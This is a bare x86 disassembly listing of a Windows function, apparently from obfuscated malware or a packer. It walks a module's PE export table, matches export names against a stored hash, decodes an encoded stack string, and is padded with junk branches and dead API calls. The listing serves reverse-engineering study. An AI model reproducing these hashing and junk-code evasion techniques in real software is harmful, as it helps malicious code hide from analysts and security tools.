mov byte [ebp - 0xbc], 0
movzx eax, byte [ebp - 0xbc]
test eax, eax
je 0x41faa2
push 0x150c
push 0x127d
push 0
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [0xa779e4]
cmp eax, dword [ebp - 0x15c]
je 0x41fabc
mov eax, dword [0xa77abc]
cmp eax, dword [ebp - 0x15c]
jne 0x41fad4
mov ecx, dword [ebp + 0xc]
call fcn.004218e8
push eax
push dword [ebp + 8]
call fcn.00415c7c
pop ecx
pop ecx
jmp 0x420a63
mov dword [ebp - 0x144], 0xffffffff
mov dword [ebp - 0x58], 0x6f9b2cfb
mov dword [ebp - 0xc], 0xffffffff
push 2
lea ecx, [ebp - 0x20c]
call fcn.004013fc
mov dword [ebp - 0x94], 0xffffffff
push 1
lea ecx, [ebp - 0x5fc]
call fcn.004013fc
mov dword [ebp - 0x660], 9
mov dword [ebp - 0x50], 0
jmp 0x41fb2a
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 2
jge 0x41fb46
push dword [ebp - 0x50]
lea ecx, [ebp - 0x20c]
call fcn.004014ea
mov dword [eax], 0xfffffffc
jmp 0x41fb23
mov dword [ebp - 0x50], 0
jmp 0x41fb56
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 1
jge 0x41fb72
push dword [ebp - 0x50]
lea ecx, [ebp - 0x5fc]
call fcn.004014ea
mov dword [eax], 0xb58f
jmp 0x41fb4f
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x490], eax
push 0
lea ecx, [ebp - 0x20c]
call fcn.004014ea
mov ecx, dword [ebp - 0x490]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x490]
jle 0x41fbf9
mov dword [ebp - 0xc], 0
jmp 0x41fbbd
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 1
jg 0x41fbf4
push 0
lea ecx, [ebp - 0x20c]
call fcn.004014ea
mov dword [eax], 0x8146cdea
mov byte [ebp - 0xa9], 0
movzx eax, byte [ebp - 0xa9]
test eax, eax
je 0x41fbf2
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
jmp 0x41fbb6
jmp 0x41fe5e
push 1
lea ecx, [ebp - 0x614]
call fcn.004013fc
mov dword [ebp - 0x63c], 0xfffffffe
mov dword [ebp - 0x648], 0x61b8ce22
mov dword [ebp - 0x13c], 0
jmp 0x41fc33
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 1
jge 0x41fc55
push dword [ebp - 0x13c]
lea ecx, [ebp - 0x614]
call fcn.004014ea
mov dword [eax], 6
jmp 0x41fc26
mov dword [ebp - 0x58], 1
jmp 0x41fc65
mov eax, dword [ebp - 0x58]
dec eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
jl 0x41fce3
mov dword [ebp - 0xc], 1
jmp 0x41fc7b
mov eax, dword [ebp - 0xc]
dec eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jl 0x41fcde
push dword [ebp - 0x58]
lea ecx, [ebp - 0x20c]
call fcn.004014ea
cmp dword [eax], 0xfeb9e9d6
jne 0x41fca3
mov dword [ebp - 0x498], 1
jmp 0x41fcaa
and dword [ebp - 0x498], 0
cmp dword [ebp - 0x498], 0xfffffff9
jle 0x41fcbf
mov dword [ebp - 0x4a0], 1
jmp 0x41fcc6
and dword [ebp - 0x4a0], 0
push dword [ebp - 0x58]
lea ecx, [ebp - 0x20c]
call fcn.004014ea
mov ecx, dword [ebp - 0x4a0]
mov dword [eax], ecx
jmp 0x41fc74
jmp 0x41fc5e
push 1
lea ecx, [ebp - 0x20c]
call fcn.004014ea
cmp dword [eax], 0
jne 0x41fd9b
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x63c], eax
cmp dword [ebp - 0x94], 0
jne 0x41fd9b
push 0
lea ecx, [ebp - 0x614]
call fcn.004014ea
mov esi, eax
push 0
lea ecx, [ebp - 0x614]
call fcn.004014ea
mov ecx, dword [esi]
cmp ecx, dword [eax]
je 0x41fd4f
push 0
lea ecx, [ebp - 0x5fc]
call fcn.004014ea
cmp dword [eax], 0
jne 0x41fd4f
and dword [ebp - 0x4a8], 0
jmp 0x41fd59
mov dword [ebp - 0x4a8], 1
mov eax, dword [ebp - 0x4a8]
add eax, 0x2a6f
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x8b0], eax
push 0
lea ecx, [ebp - 0x614]
call fcn.004014ea
push 0
lea ecx, [ebp - 0x20c]
call fcn.004014ea
cmp dword [eax], 0x6b8642e5
jg 0x41fd9b
and dword [ebp - 0x4b0], 0
jmp 0x41fda5
mov dword [ebp - 0x4b0], 1
mov eax, dword [ebp - 0x144]
cmp dword [ebp - 0x4b0], eax
jle 0x41fdbf
mov dword [ebp - 0x4b8], 1
jmp 0x41fdc6
and dword [ebp - 0x4b8], 0
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x4b8], eax
jl 0x41fde0
mov dword [ebp - 0x640], 1
jmp 0x41fde7
and dword [ebp - 0x640], 0
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x940], eax
push 0
lea ecx, [ebp - 0x614]
call fcn.004014ea
mov eax, dword [ebp - 0x648]
mov dword [ebp - 0x8b8], eax
cmp dword [ebp - 0x94], 0xfffffff6
jb 0x41fe21
mov dword [ebp - 0x4c0], 1
jmp 0x41fe28
and dword [ebp - 0x4c0], 0
push 0
lea ecx, [ebp - 0x614]
call fcn.004014ea
mov esi, eax
push 0
lea ecx, [ebp - 0x5fc]
call fcn.004014ea
mov ecx, dword [ebp - 0x4c0]
add ecx, dword [eax]
mov eax, dword [esi]
sub eax, ecx
mov dword [ebp - 0x58], eax
lea ecx, [ebp - 0x614]
call fcn.004014ce
push 0
lea ecx, [ebp - 0x5fc]
call fcn.004014ea
cmp dword [eax], 0x8f497c3
jne 0x41fe7f
mov dword [ebp - 0x4c8], 1
jmp 0x41fe86
and dword [ebp - 0x4c8], 0
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x4c8]
neg ecx
sub eax, ecx
add eax, 0xf284
cmp eax, 0x5acc
jne 0x41feab
mov dword [ebp - 0x4d0], 1
jmp 0x41feb2
and dword [ebp - 0x4d0], 0
push 0
lea ecx, [ebp - 0x5fc]
call fcn.004014ea
mov ecx, dword [ebp - 0x4d0]
cmp ecx, dword [eax]
jne 0x41fed5
mov dword [ebp - 0x650], 1
jmp 0x41fedc
and dword [ebp - 0x650], 0
push 0
lea ecx, [ebp - 0x20c]
call fcn.004014ea
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0xc], eax
jne 0x41ff09
mov dword [ebp - 0x4d8], 1
jmp 0x41ff10
and dword [ebp - 0x4d8], 0
push 1
lea ecx, [ebp - 0x20c]
call fcn.004014ea
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [eax]
jg 0x41ff33
mov dword [ebp - 0x4e0], 1
jmp 0x41ff3a
and dword [ebp - 0x4e0], 0
cmp dword [ebp - 0x4e0], 0x6a17913d
jl 0x41ff52
mov dword [ebp - 0x4e8], 1
jmp 0x41ff59
and dword [ebp - 0x4e8], 0
push 0
lea ecx, [ebp - 0x20c]
call fcn.004014ea
mov esi, eax
push 0
lea ecx, [ebp - 0x5fc]
call fcn.004014ea
mov ecx, dword [ebp - 0x4e8]
imul ecx, dword [eax]
sub ecx, dword [ebp - 0x94]
cmp dword [esi], ecx
jge 0x41ff94
mov dword [ebp - 0x658], 1
jmp 0x41ff9b
and dword [ebp - 0x658], 0
push 0
lea ecx, [ebp - 0x5fc]
call fcn.004014ea
mov esi, dword [ebp - 0x144]
push 0
lea ecx, [ebp - 0x20c]
call fcn.004014ea
cmp esi, dword [eax]
jge 0x41ffcb
mov dword [ebp - 0x4f0], 1
jmp 0x41ffd2
and dword [ebp - 0x4f0], 0
mov eax, dword [ebp - 0x4f0]
inc eax
mov dword [ebp - 0x660], eax
lea ecx, [ebp - 0x5fc]
call fcn.004014ce
lea ecx, [ebp - 0x20c]
call fcn.004014ce
mov eax, dword [ebp + 8]
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x18], 0x4ebb
mov dword [ebp - 0x290], 0x4886255d
mov dword [ebp - 0x530], 0xfffffffb
mov dword [ebp - 0x2a0], 0xfffffffa
mov dword [ebp - 0x804], 0xf213ed4
mov dword [ebp - 0x800], 0xf213ed4
mov dword [ebp - 0x7fc], 0xf213ed4
mov dword [ebp - 0x7f8], 0xf213ed4
mov dword [ebp - 0x670], 6
mov dword [ebp - 0x14c], 0
jmp 0x42006e
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 2
jge 0x42008a
mov eax, dword [ebp - 0x14c]
mov dword [ebp + eax*4 - 0x844], 0x61131e34
jmp 0x420061
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x9ac], eax
cmp dword [ebp - 0x18], 0xffffffff
jge 0x4200a5
mov dword [ebp - 0x4f8], 1
jmp 0x4200ac
and dword [ebp - 0x4f8], 0
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x4f8]
neg eax
cmp eax, dword [ebp - 0x18]
jle 0x4200c8
mov dword [ebp - 0x500], 1
jmp 0x4200cf
and dword [ebp - 0x500], 0
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x500]
add eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x18]
jl 0x4200ec
mov dword [ebp - 0x508], 1
jmp 0x4200f3
and dword [ebp - 0x508], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x508], eax
jl 0x42010a
mov dword [ebp - 0x510], 1
jmp 0x420111
and dword [ebp - 0x510], 0
cmp dword [ebp - 0x510], 0x8a973314
je 0x420129
mov dword [ebp - 0x518], 1
jmp 0x420130
and dword [ebp - 0x518], 0
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x518]
jge 0x420147
mov dword [ebp - 0x520], 1
jmp 0x42014e
and dword [ebp - 0x520], 0
mov eax, dword [ebp - 0x290]
cmp dword [ebp - 0x520], eax
jne 0x42016d
or eax, 0xffffffff
je 0x42016d
mov dword [ebp - 0x528], 1
jmp 0x420174
and dword [ebp - 0x528], 0
mov eax, dword [ebp - 0x528]
mov dword [ebp - 0x530], eax
mov eax, dword [ebp - 0x530]
mov dword [ebp - 0x8c0], eax
mov eax, dword [ebp - 0x290]
mov dword [ebp - 0x950], eax
cmp dword [ebp - 0x18], 1
jbe 0x4201aa
mov dword [ebp - 0x538], 1
jmp 0x4201b1
and dword [ebp - 0x538], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x8c8], eax
mov eax, dword [ebp - 0x538]
mov dword [ebp - 0x2a0], eax
mov eax, dword [ebp - 0x2a0]
mov dword [ebp - 0x99c], eax
cmp dword [ebp - 0x2a0], 0xffffffff
jg 0x4201e7
mov dword [ebp - 0x540], 1
jmp 0x4201ee
and dword [ebp - 0x540], 0
mov eax, dword [ebp - 0x290]
cmp dword [ebp - 0x540], eax
je 0x420208
mov dword [ebp - 0x548], 1
jmp 0x42020f
and dword [ebp - 0x548], 0
cmp dword [ebp - 0x548], 0xffffffff
je 0x420224
mov dword [ebp - 0x2b0], 1
jmp 0x42022b
and dword [ebp - 0x2b0], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x2b0]
mov dword [ebp + eax - 0x804], ecx
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x2b0], eax
jne 0x420255
mov dword [ebp - 0x668], 1
jmp 0x42025c
and dword [ebp - 0x668], 0
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x844], 0xffffffff
mov dword [ebp - 0x670], 0xffffffff
cmp dword [ebp - 0x154], 0
je 0x4208db
mov eax, dword [ebp - 0x154]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x4208db
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0x154]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x108], ecx
mov eax, dword [ebp - 0x108]
cmp dword [eax], 0x4550
jne 0x4208db
mov eax, dword [ebp - 0x108]
cmp dword [eax + 0x74], 0
jbe 0x4208db
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x108]
cmp dword [ecx + eax + 0x78], 0
je 0x4208db
mov eax, dword [ebp + 8]
mov dword [ebp - 0xe4], eax
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x108]
mov edx, dword [ebp - 0xe4]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x9c], edx
mov eax, 0xffff
mov word [ebp - 0x54], ax
or dword [ebp - 0xdc], 0xffffffff
cmp dword [ebp + 0x10], 0
jbe 0x42033c
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x420337
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0x54], ax
jmp 0x4204f2
mov eax, dword [0xa77a10]
and eax, 1
jne 0x420368
mov eax, dword [0xa77a10]
or eax, 1
mov dword [0xa77a10], eax
mov ecx, 0xa77a40
call fcn.0042191b
push 0x483812
call fcn.0047741f
pop ecx
movzx eax, byte [0xa779d6]
test eax, eax
je 0x4203d4
mov ecx, 0xa77a40
call fcn.004219be
movzx eax, al
test eax, eax
jne 0x4203d4
lea eax, [ebp - 0x15c]
push eax
lea eax, [ebp - 0x550]
push eax
mov ecx, 0xa77a40
call fcn.004219c7
lea eax, [ebp - 0x8d0]
push eax
mov ecx, 0xa77a40
call fcn.004219b0
push eax
lea ecx, [ebp - 0x550]
call fcn.00421908
movzx eax, al
test eax, eax
je 0x4203d4
lea ecx, [ebp - 0x550]
call fcn.004219dc
mov eax, dword [eax + 4]
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0xffffffff
jne 0x4204f2
mov ecx, 0xa77a40
call fcn.00421a20
mov ecx, dword [ebp - 0x9c]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0xa77a40
call fcn.00421a24
and dword [ebp - 0xd4], 0
jmp 0x420415
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0xd4]
cmp ecx, dword [eax + 0x18]
jae 0x4204f2
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0xe4]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0xd4]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x558], eax
cmp dword [ebp - 0x558], 0
je 0x4204ed
mov eax, dword [ebp - 0x558]
mov ecx, dword [ebp - 0xe4]
add ecx, dword [eax]
push ecx
lea ecx, [ebp - 0xa44]
call fcn.00421879
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0xa44]
call fcn.00401bd6
mov dword [ebp - 0x560], eax
movzx eax, byte [0xa779d6]
test eax, eax
je 0x42049f
mov ecx, 0xa77a40
call fcn.004219be
movzx eax, al
test eax, eax
jne 0x4204bf
lea eax, [ebp - 0x560]
push eax
mov ecx, 0xa77a40
call fcn.004219e2
mov ecx, dword [ebp - 0xd4]
mov dword [eax], ecx
mov byte [0xa779d6], 1
cmp dword [ebp - 0xdc], 0xffffffff
jne 0x4204e2
mov eax, dword [ebp - 0x560]
cmp eax, dword [ebp - 0x15c]
jne 0x4204e2
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0xdc], eax
lea ecx, [ebp - 0xa44]
call fcn.0042189c
jmp 0x420408
cmp dword [ebp + 0x10], 0
jne 0x42051e
cmp dword [ebp - 0xdc], 0xffffffff
je 0x42051e
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0xe4]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0xdc]
mov ax, word [ecx + eax*2]
mov word [ebp - 0x54], ax
movzx eax, word [ebp - 0x54]
cmp eax, 0xffff
je 0x4208db
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0xe4]
add ecx, dword [eax + 0x1c]
movzx eax, word [ebp - 0x54]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x678], eax
mov eax, dword [ebp - 0x678]
mov ecx, dword [ebp - 0xe4]
add ecx, dword [eax]
mov dword [ebp - 0x98], ecx
mov eax, dword [ebp - 0x98]
cmp eax, dword [ebp - 0x9c]
jbe 0x4208d0
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x108]
mov edx, dword [ebp - 0x9c]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0x98], edx
jae 0x4208d0
mov eax, dword [0xa77a10]
and eax, 2
jne 0x4205b8
mov eax, dword [0xa77a10]
or eax, 2
mov dword [0xa77a10], eax
push 0xd59
call fcn.00440cbe
pop ecx
mov byte [0xa77ae4], al
mov byte [ebp - 0x1e8], 2
mov byte [ebp - 0x1e7], 0x6d
mov byte [ebp - 0x1e6], 1
mov byte [ebp - 0x1e5], 0x6f
mov byte [ebp - 0x1e4], 0
mov byte [ebp - 0x1e3], 0x69
mov byte [ebp - 0x1e2], 0xf
mov byte [ebp - 0x1e1], 0x49
mov byte [ebp - 0x1e0], 0xe8
mov byte [ebp - 0x1df], 0xf7
mov byte [ebp - 0x1de], 0x76
mov byte [ebp - 0x1dd], 0xa3
mov byte [ebp - 0x1dc], 0xd
mov byte [ebp - 0x1db], 0x31
mov byte [ebp - 0x1da], 0x13
mov byte [ebp - 0x1d9], 0x32
mov byte [ebp - 0x1d8], 0x74
mov byte [ebp - 0x1d7], 0xff
mov byte [ebp - 0x1d6], 0xd9
mov byte [ebp - 0x1d5], 0x87
mov byte [ebp - 0x1d4], 0xba
and dword [ebp - 0x60], 0
and dword [ebp - 0x568], 0
jmp 0x420660
mov eax, dword [ebp - 0x60]
inc eax
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0x15
jae 0x4206ed
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x1e8]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x60], eax
jne 0x420696
mov dword [ebp - 0x568], 0xf
mov eax, dword [ebp - 0x60]
add eax, 0xd
mov dword [ebp - 0x60], eax
jmp 0x420658
mov eax, dword [ebp - 0x60]
movzx eax, byte [ebp + eax - 0x1e7]
sub eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x568]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0
jge 0x4206d0
mov eax, dword [ebp - 0x164]
add eax, 0x100
mov dword [ebp - 0x164], eax
jmp 0x4206b4
mov eax, dword [ebp - 0x60]
movzx eax, byte [ebp + eax - 0x1e8]
mov cl, byte [ebp - 0x164]
mov byte [ebp + eax - 0x278], cl
jmp 0x420658
xor eax, eax
inc eax
imul eax, eax, 3
mov byte [ebp + eax - 0x278], 0
mov eax, dword [0xa77a10]
and eax, 4
jne 0x42072e
mov eax, dword [0xa77a10]
or eax, 4
mov dword [0xa77a10], eax
lea eax, [ebp - 0x278]
push eax
mov ecx, 0xa77aa4
call fcn.00421879
push 0x483803
call fcn.0047741f
pop ecx
and dword [ebp - 0x16c], 0
jmp 0x420744
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 4
jae 0x42075d
mov eax, dword [ebp - 0x16c]
mov byte [ebp + eax - 0x278], 0
jmp 0x420737
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0xb8]
movsx eax, byte [eax]
movsx ecx, byte [0xa77ae4]
cmp eax, ecx
je 0x42078c
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
jmp 0x420769
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
push dword [ebp - 0xb8]
push dword [ebp - 0x98]
lea ecx, [ebp - 0x9d4]
call fcn.00422751
push 0xa77aa4
lea ecx, [ebp - 0x9d4]
call fcn.004218a6
lea eax, [ebp - 0x960]
push eax
lea ecx, [ebp - 0x9d4]
call fcn.004218cb
push dword [eax]
lea eax, [ebp - 0x8d8]
push eax
lea ecx, [ebp - 0x9d4]
call fcn.004218b7
push dword [eax]
lea ecx, [ebp - 0xa24]
call fcn.0042277a
lea eax, [ebp - 0xa24]
push eax
call fcn.0040471b
pop ecx
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 0
je 0x420884
push dword [ebp - 0xb8]
lea ecx, [ebp - 0x9f8]
call fcn.00421879
lea edx, [ebp - 0x680]
lea ecx, [ebp - 0x9f8]
call fcn.00401de8
movzx eax, al
test eax, eax
je 0x420858
push 0
push dword [ebp - 0x680]
push 0
push dword [ebp - 0x27c]
call fcn.0041bea7
add esp, 0x10
mov dword [ebp - 0x98], eax
jmp 0x420877
push 1
push 0
lea eax, [ebp - 0x9f8]
push eax
push dword [ebp - 0x27c]
call fcn.0041bea7
add esp, 0x10
mov dword [ebp - 0x98], eax
lea ecx, [ebp - 0x9f8]
call fcn.0042189c
jmp 0x4208ba
cmp dword [ebp + 0x10], 0
jne 0x42089a
mov ecx, dword [ebp + 0xc]
call fcn.004218e8
mov dword [ebp - 0x570], eax
jmp 0x4208a4
movzx eax, word [ebp + 0x10]
mov dword [ebp - 0x570], eax
push dword [ebp - 0x570]
push dword [ebp + 8]
call fcn.00415c7c
pop ecx
pop ecx
mov dword [ebp - 0x98], eax
lea ecx, [ebp - 0xa24]
call fcn.00421832
lea ecx, [ebp - 0x9d4]
call fcn.0042189c
mov eax, dword [ebp - 0x98]
jmp 0x420a63
push 4
lea ecx, [ebp - 0x97c]
call fcn.004013fc
mov dword [ebp - 0x174], 0xffffffff
mov dword [ebp - 0x688], 0xffffffff
mov dword [ebp - 0x2bc], 0xdc5336de
mov dword [ebp - 0x68], 0
jmp 0x420916
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 4
jge 0x420932
push dword [ebp - 0x68]
lea ecx, [ebp - 0x97c]
call fcn.004014ea
mov dword [eax], 0xffff
jmp 0x42090f
mov dword [ebp - 0x68], 0
jmp 0x420942
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 3
jge 0x420958
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0x740], 0x2167fa5c
jmp 0x42093b
mov dword [ebp - 0x174], 0
jmp 0x420971
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 3
jg 0x420993
mov dword [ebp - 0x578], 0xd9a924c0
mov eax, dword [ebp - 0x578]
inc eax
mov dword [ebp - 0x578], eax
jmp 0x420964
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2bc]
cmp dword [ebp + eax - 0x740], ecx
jle 0x4209b4
mov dword [ebp - 0x2c0], 1
jmp 0x4209bb
and dword [ebp - 0x2c0], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x740]
mov dword [ebp - 0x9bc], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x740]
cmp dword [ebp - 0x2bc], eax
jge 0x4209ee
mov dword [ebp - 0x2c8], 1
jmp 0x4209f5
and dword [ebp - 0x2c8], 0
mov eax, dword [ebp - 0x2c0]
cmp eax, dword [ebp - 0x2c8]
jge 0x420a0f
mov dword [ebp - 0x2d0], 1
jmp 0x420a16
and dword [ebp - 0x2d0], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x688]
imul ecx, dword [ebp - 0x2d0]
cmp dword [ebp + eax - 0x740], ecx
jne 0x420a3d
mov dword [ebp - 0x2d8], 1
jmp 0x420a44
and dword [ebp - 0x2d8], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x2d8]
mov dword [ebp + eax - 0x740], ecx
lea ecx, [ebp - 0x97c]
call fcn.004014ce
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret